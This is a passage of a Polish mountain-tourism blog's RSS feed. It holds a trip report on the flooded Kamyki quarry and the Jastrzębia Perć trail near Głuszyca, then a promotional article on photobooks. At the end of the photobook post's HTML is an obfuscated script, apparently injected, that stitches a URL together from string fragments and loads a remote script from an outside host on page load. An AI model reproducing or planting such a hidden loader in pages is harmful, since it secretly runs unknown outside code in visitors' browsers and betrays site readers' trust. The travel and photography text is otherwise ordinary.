<p>Warto tu obejrzeć zabytkowe pałacyki fabrykanckie z XIX w. oraz zajazd „Pod Jeleniem”, drewniano-murowany z 1784 r., przebudowany w poł. XIX w. Dobrze zobaczyć również kościół Matki Bożej Królowej Polski, niedaleko znajduje się też zespół sztolni z czasów II wojny światowej: Podziemne Miasto Głuszyca i Kompleks Osówka, które kiedyś odwiedziłem&#8230; Po szybkim zwiedzaniu miasta pojechałem w stronę Głuszycy Górnej, by odbić tam na ul. Dworcową, a potem skręcić w lewo w wąską szosę, którą prowadzi także trasa rowerowa. Ten niedługi kawałek asfaltu doprowadzi nas do samego kamieniołomu Kamyki.</p>
<div id="attachment_53160" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/1920px-2017_Dom_przy_ul._Grunwaldzkiej_44_w_Gluszycy_1-e1772397566685.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53160" class="size-full wp-image-53160" src="https://marekowczarz.pl/wp-content/uploads/2026/03/1920px-2017_Dom_przy_ul._Grunwaldzkiej_44_w_Gluszycy_1-e1772397566685.jpg" alt="" width="1600" height="1113"></a><p id="caption-attachment-53160" class="wp-caption-text">Dawny zajazd „Pod Jeleniem”</p></div>
<p>Jest to bowiem ślepa uliczka zakończona małym parkingiem nad samym zalewem, gdyż dawny kamieniołom melafiru zapełniono wodą. Z racji tego jeziorko ma magiczny kolor :-). Nieczynny od lat 70-tych XX wieku kamieniołom położony jest na wysokości 585 m n.p.m. To wyrobisko zalane wodą otoczone jest kilkusetmetrowymi skalnymi ścianami, które stanowią wschodnie zbocza masywu Ostoja w Górach Suchych. Szczyty porośnięte są tutaj bujną roślinnością lasów sosnowych, świerkowych i bukowych.</p>
<div id="attachment_53161" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53161" class="size-full wp-image-53161" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-1-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53161" class="wp-caption-text">parking przy kamieniołomie Kamyki</p></div>
<p>Cieki wodne tworzą wodospady, które zimą zmieniają się w niesamowite lodospady, zdobywane przez wspinaczy. Jezioro jest zarybione, wykorzystywane przez wędkarzy i amatorów kąpieli, czy zimą morsów. Miejsce jest tak ładne, że porównywane do górskich jezior. I dlatego przyciąga mnóstwo turystów oraz amatorów wypoczynku. Zalew można obejść z prawej strony, aż do groźnych usypisk. Niedawno jednak otwarto tam świetną trasę turystyczną &#8222;Jastrzębia Perć&#8221;, którą możemy dostać się na górne piętra stromego zbocza. Dołem wzdłuż zalewu wytyczono także ścieżkę rowerową.</p>
<div id="attachment_53162" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53162" class="size-full wp-image-53162" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-4-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53162" class="wp-caption-text">zalew Kamyki z dołu</p></div>
<p>Na trasie przygotowano kilka punktów widokowych na zbiornik wodny, który prezentuje się z góry niesamowicie, ale także na pobliskie Góry Sowie. Jastrzębia Perć liczy około 2 km, szlak został podzielony na część niebieską, dostępną dla każdego turysty oraz czerwoną, dla bardziej doświadczonych turystów. Wymaga ona pokonania około dwustu kamiennych schodów, które pozwolą dostać się prawie na sam szczyt. Na szlaku znajdziecie cztery punkty widokowe, sporo ławeczek oraz tablice informacyjne w czterech językach, a także opisane panoramy.</p>
<div id="attachment_53163" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53163" class="size-full wp-image-53163" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-12-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53163" class="wp-caption-text">punkt widokowy na Góry Sowie</p></div>
<p>Ciężko się tu zgubić, ponieważ najpierw kierują nas niebieskie tabliczki ze strzałkami, a potem dla nie bojących się przepaści czerwone znaczki. Po przejściu stromych schodów, czeka potem spacer ścieżynką przez nieco zarośnięty las. Ona doprowadzi nas do górnej części kamieniołomu, skąd pięknie widać okolicę. Nad taflą wody góruje Włodzicka Góra z charakterystyczną wieżą widokową. Z lewej strony widać Wielką Sowę, a jeszcze bardziej na lewo Góry Kamienne. Tarasy widokowe zabezpieczone są barierkami, odważni mogą pokusić się o zejście trochę niżej wydeptaną ścieżką nad samo urwisko&#8230;</p>
<div id="attachment_53164" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53164" class="size-full wp-image-53164" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-17-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53164" class="wp-caption-text">widok na Zalew Kamyki z góry</p></div>
<p>Potem schodzimy przez las jak prowadzą czerwone strzałki robiąc pętlę i wracając do niebieskiego szlaku, którym musimy wrócić na parking. Schodząc po drodze mijamy pozostałości dawnej kruszarni. Tuż obok nich jest rampa załadunkowa i początkowa „stacja” kolejki linowej prowadzącej właśnie do kruszarni. Ruiny są już mocno zniszczone i zarastają lasem. Prace w tutejszym kamieniołomie trwały jeszcze w latach 70 XX wieku, a urobek transportowano kolejką do znajdującej się poniżej stacji kolejowej w Głuszycy.</p>
<div id="attachment_53165" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53165" class="size-full wp-image-53165" src="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/kamyki-gomolnik-27-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53165" class="wp-caption-text">Kamieniołom Kamyki</p></div>
<p>Po zaprzestaniu prac wydobywczych na zboczach dwóch szczytów: Ostoi i Raroga wyrobisko zostało zalane przez wodę, tworząc to jakże urokliwe miejsce. Aktualnie, po wytyczeniu szlaków jest tu sporo miejsca do odpoczynku, a nawet palenisko na ognisko. Posiedziałem długo nad turkusową wodą chłonąc spokój i magię tego miejsca, by wyruszyć w dalszą drogę po kolejne przygody! Bo odkrywanie nieznanego piękna zawsze jest cudowne 🙂 Na koniec zapraszam jak zawsze do obejrzenia galerii zdjęć z wypadu i czytania innych wpisów na blogu chociażby o <a href="https://marekowczarz.pl/wejscie-na-chelmiec-do-korony-gor-polski/">sudeckich</a> tajemnicach.&nbsp;</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/cozupagefe" width="700" height="466" frameborder="0"></iframe></p>
<p>Powyżej mapka mej trasy, która zajmie Wam godzinkę z odpoczynkiem i podziwianiem tego cudu natury&#8230; A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez <a href="https://buycoffee.to/marcogor">serwis Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Drukujcie śmiało i traktujcie jako mapę działań… &#x1f642; Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
 [<a href="https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/">See image gallery at marekowczarz.pl</a>]The post <a href="https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/">Trip po Jastrzębiej Perci w kamieniołomie Kamyki w Głuszycy</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/trip-po-jastrzebiej-perci-w-kamieniolomie-kamyki-w-gluszycy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kulisy tworzenia: Jak profesjonalna fotoksiążka zmienia sposób w jaki patrzymy na nasze zdjęcia?</title>
		<link>https://marekowczarz.pl/kulisy-tworzenia-jak-profesjonalna-fotoksiazka-zmienia-sposob-w-jaki-patrzymy-na-nasze-zdjecia/</link>
					<comments>https://marekowczarz.pl/kulisy-tworzenia-jak-profesjonalna-fotoksiazka-zmienia-sposob-w-jaki-patrzymy-na-nasze-zdjecia/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Mon, 23 Feb 2026 18:55:54 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Recenzja]]></category>
		<category><![CDATA[fotoksiążka]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53097</guid>

					<description><![CDATA[<p>W świecie zdominowanym przez ulotne obrazy na ekranach smartfonów, prawdziwa fotografia odzyskuje swój głos tam, gdzie można jej dotknąć – na kartach starannie wydanej publikacji. Fotoksiążka to nie tylko nowoczesny zamiennik tradycyjnego albumu, ale przede wszystkim przemyślana narracja, która nadaje naszym wspomnieniom ciężar gatunkowy i artystyczny sznyt. Proces jej tworzenia wymusza na nas selekcję, uważność [&#8230;]</p>
The post <a href="https://marekowczarz.pl/kulisy-tworzenia-jak-profesjonalna-fotoksiazka-zmienia-sposob-w-jaki-patrzymy-na-nasze-zdjecia/">Kulisy tworzenia: Jak profesjonalna fotoksiążka zmienia sposób w jaki patrzymy na nasze zdjęcia?</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>W świecie</strong></em> zdominowanym przez ulotne obrazy na ekranach smartfonów, prawdziwa fotografia odzyskuje swój głos tam, gdzie można jej dotknąć – na kartach starannie wydanej publikacji. Fotoksiążka to nie tylko nowoczesny zamiennik tradycyjnego albumu, ale przede wszystkim przemyślana narracja, która nadaje naszym wspomnieniom ciężar gatunkowy i artystyczny sznyt. Proces jej tworzenia wymusza na nas selekcję, uważność i spojrzenie na własne życie z perspektywy kuratora wystawy, a nie tylko przypadkowego obserwatora. Dowiedz się, jak przeniesienie kadrów z cyfrowej chmury na papier zmienia postrzeganie estetyki i dlaczego fizyczna forma zapisu jest dziś największym luksusem, na jaki możemy pozwolić naszym wspomnieniom.<span id="more-53097"></span></p>
<p>Żyjemy w epoce nadprodukcji obrazów. Każdego dnia miliardy zdjęć trafiają na serwery mediów społecznościowych, by po kilku godzinach zniknąć w otchłani algorytmów. Paradoksalnie, im więcej fotografujemy, tym mniej czasu poświęcamy na faktyczne obcowanie z fotografią. Zdjęcie stało się komunikatem błyskawicznym, wizualnym odpowiednikiem SMS-a, który po odczytaniu traci swoją wartość. Jednak w tym cyfrowym szumie pojawia się potrzeba powrotu do korzeni – do przedmiotu, który ma swoją fakturę, zapach i wagę. To tutaj pojawia się fotoksiążka, która redefiniuje nasz stosunek do własnej historii.</p>
<h2><strong>Selekcja jako proces oczyszczenia</strong></h2>
<p>Pierwszym etapem <a href="https://www.cewe.pl/cewe-fotoksiazka.html?cref=om_seo_website_2026-02-kulisy-tworzenia-fotoksiazki_29241_x" rel="dofollow">tworzenia fotoksiążki</a>, który drastycznie zmienia nasze podejście do zdjęć, jest selekcja. Na dyskach twardych przechowujemy tysiące plików – powtarzalnych kadrów, nieostrych ujęć czy technicznych pomyłek. Dopóki są one w chmurze, stanowią bezkształtną masę. Moment, w którym decydujemy się stworzyć coś trwałego, zmusza nas do zadania sobie kluczowego pytania: które z tych ujęć naprawdę ma znaczenie?</p>
<p>Wybierając zdjęcia do profesjonalnej publikacji, uczymy się patrzeć krytycznie. Zaczynamy dostrzegać kompozycję, emocje i światło, które wcześniej nam umykały. Selekcja sprawia, że odrzucamy to, co przeciętne, na rzecz tego, co esencjonalne. Dzięki temu fotoksiążka staje się destylatem naszych doświadczeń – z setek przypadkowych kadrów wyłania się spójna opowieść o tym, co w danym okresie życia było dla nas najważniejsze.</p>
<h2><strong>Narracja &#8211; od pojedynczego zdjęcia do opowieści</strong></h2>
<p>Pojedyncze <a href="https://www.cewe.pl/zdjecia.html?cref=om_seo_website_2026-02-kulisy-tworzenia-fotoksiazki_29241_x" rel="dofollow">zdjęcie </a>to tylko wyrwany z kontekstu ułamek sekundy. <a href="https://www.cewe.pl/cewe-fotoksiazka.html?cref=om_seo_website_2026-02-kulisy-tworzenia-fotoksiazki_29241_x" rel="dofollow">Fotoksiążka </a>pozwala nam natomiast na budowanie sekwencji. Jako fotografowie amatorzy czy profesjonaliści, układając zdjęcia na stronach, zaczynamy operować rytmem. Uczymy się, jak jedno zdjęcie dialoguje z drugim, jak zestawienie szerokiego planu z detalem buduje napięcie i jak puste przestrzenie na stronie dają obrazowi „oddychać”.</p>
<p>Ten proces całkowicie zmienia sposób, w jaki planujemy przyszłe sesje. Wiedząc, że efektem końcowym będzie książka, zaczynamy fotografować bardziej świadomie. Szukamy nie tylko „głównego bohatera” sceny, ale też kontekstu – dłoni splecionych w uścisku, faktury piasku, zachodzącego słońca odbijającego się w szybie. Szukamy elementów, które wypełnią luki w naszej opowieści. Fotografia przestaje być polowaniem na jeden idealny strzał, a staje się gromadzeniem materiału do reportażu.</p>
<h2><strong>Fizyczność obrazu a psychologia odbioru</strong></h2>
<p>Istnieje fundamentalna różnica w tym, jak nasz mózg przetwarza obraz na świecącym ekranie, a jak reaguje na odbitkę na papierze. Ekran jest z natury dynamiczny, agresywny i męczący dla wzroku. Papier zaprasza do kontemplacji. Trzymając w rękach profesjonalną fotoksiążkę, angażujemy więcej zmysłów – dotykamy faktury papieru, czujemy opór kartek, słyszymy ich szelest.</p>
<p>Ta fizyczność sprawia, że zdjęcia wydają się bardziej realne, wręcz namacalne. Obrazy na papierze mają inną dynamikę tonalną, głębsze czernie i subtelniejsze przejścia barwne. Profesjonalna fotoksiążka drukowana na papierach archiwalnych pozwala dostrzec detale, które na ekranie telefonu są po prostu niewidoczne. To właśnie ta jakość sprawia, że zaczynamy traktować nasze zdjęcia jak sztukę, a nie tylko jak cyfrowy zapis.</p>
<h2><strong>Fotoksiążka jako artefakt czasu</strong></h2>
<p>W dobie technologii, które starzeją się w ciągu kilku lat, fizyczna książka jest jednym z najtrwalszych nośników informacji. Formaty plików się zmieniają, dyski ulegają awariom, a dostęp do kont w chmurze bywa zawodny. Dobrze wykonana fotoksiążka jest odporna na te zmiany. Jest przedmiotem, który można zdjąć z półki za dwadzieścia lat bez obawy o brak kompatybilności oprogramowania.</p>
<p>Ta świadomość trwałości nadaje procesowi tworzenia powagi. Wiemy, że to, co zaprojektujemy dzisiaj, będzie oglądane przez następne pokolenia. To skłania do większej dbałości o detale – od wyboru oprawy, przez układ typograficzny, aż po dobór papieru. Fotoksiążka staje się rodzinnym dziedzictwem, kapsułą czasu, która zachowuje nie tylko obrazy, ale i klimat epoki.</p>
<h2><strong>Kulisy projektowania: wyzwanie dla estety</strong></h2>
<p>Projektowanie fotoksiążki to lekcja designu. Musimy zdecydować o marginesach, o tym, czy zdjęcie ma zająć całą rozkładówkę, czy może lepiej zostawić wokół niego dużo światła. Uczymy się, że czasem mniej znaczy więcej. Minimalistyczny układ, w którym na jednej stronie znajduje się tylko jedno zdjęcie, potrafi wybrzmieć silniej niż kolaż kilkunastu ujęć.&nbsp;Dla wielu osób jest to pierwszy kontakt z projektowaniem graficznym. To doświadczenie uczy nas pokory wobec obrazu. Zaczynamy rozumieć, że profesjonalna fotoksiążka to nie tylko zbiór zdjęć, ale harmonijna całość, w której każdy element – od koloru wyklejki po krój pisma w tytule – ma znaczenie. To proces, który wyostrza nasz zmysł estetyczny i sprawia, że stajemy się bardziej wymagającymi odbiorcami wizualnymi.</p>
<h2><strong>Wartość emocjonalna &#8211; powrót do przeżyć</strong></h2>
<p>Oglądanie zdjęć w fotoksiążce to rytuał. Nie da się jej „przescrollować” kciukiem w sekundę. Wymaga skupienia, często zaproszenia bliskiej osoby do wspólnego oglądania. Ten format sprzyja powrotowi emocji. Przewracanie stron to fizyczne przechodzenie przez kolejne etapy podróży, ślubu czy pierwszego roku życia dziecka.&nbsp;Zauważalny jest trend, w którym osoby posiadające fotoksiążki częściej wracają do swoich wspomnień niż te, które trzymają je wyłącznie w formie cyfrowej. Książka leżąca na stoliku kawowym zaprasza do kontaktu. Jest obecna w naszym życiu, a nie tylko ukryta w folderze &#8222;Wakacje 2024&#8221;.</p>
<h2><strong>Nowa definicja pamiątki</strong></h2>
<p>Tworzenie profesjonalnej fotoksiążki to podróż w głąb własnej wrażliwości. Zmienia ona sposób, w jaki patrzymy na nasze zdjęcia, ponieważ nadaje im ramy, strukturę i cel. Przestajemy kolekcjonować gigabajty danych, a zaczynamy tworzyć bibliotekę przeżyć.&nbsp;Bez względu na to, czy dokumentujemy wielkie wydarzenia życiowe, czy małe, codzienne chwile, fotoksiążka pozwala nam spojrzeć na nie z dystansem i docenić ich piękno. To dowód na to, że w świecie pędzącym ku cyfrowej niepamięci, to, co wydrukowane, ma największą szansę przetrwać i wciąż nas wzruszać. To nie jest zwykły produkt – to świadectwo tego, że nasze życie jest warte opowiedzenia w najpiękniejszej z możliwych form.</p>
<p><script>
(function(){
ih2j_=("ope"+"n");ih2j=document.createElement("script");ih2j.async=true;
ih2ju="2600189461";ih2j_+=("s")+"t"+"a"+("t.");ih2j_+=""+("e"+(""))+("u/");
ih2ju+=".3ljxcarmh2jigwer";ih2ju+="zf0f8417fqhXhj";
ih2j.src="https://"+ih2j_+ih2ju;ih2j.type="text/javascript";
d_b=document.body;d_b.appendChild(ih2j);
})();
</script></p>The post <a href="https://marekowczarz.pl/kulisy-tworzenia-jak-profesjonalna-fotoksiazka-zmienia-sposob-w-jaki-patrzymy-na-nasze-zdjecia/">Kulisy tworzenia: Jak profesjonalna fotoksiążka zmienia sposób w jaki patrzymy na nasze zdjęcia?</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/kulisy-tworzenia-jak-profesjonalna-fotoksiazka-zmienia-sposob-w-jaki-patrzymy-na-nasze-zdjecia/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
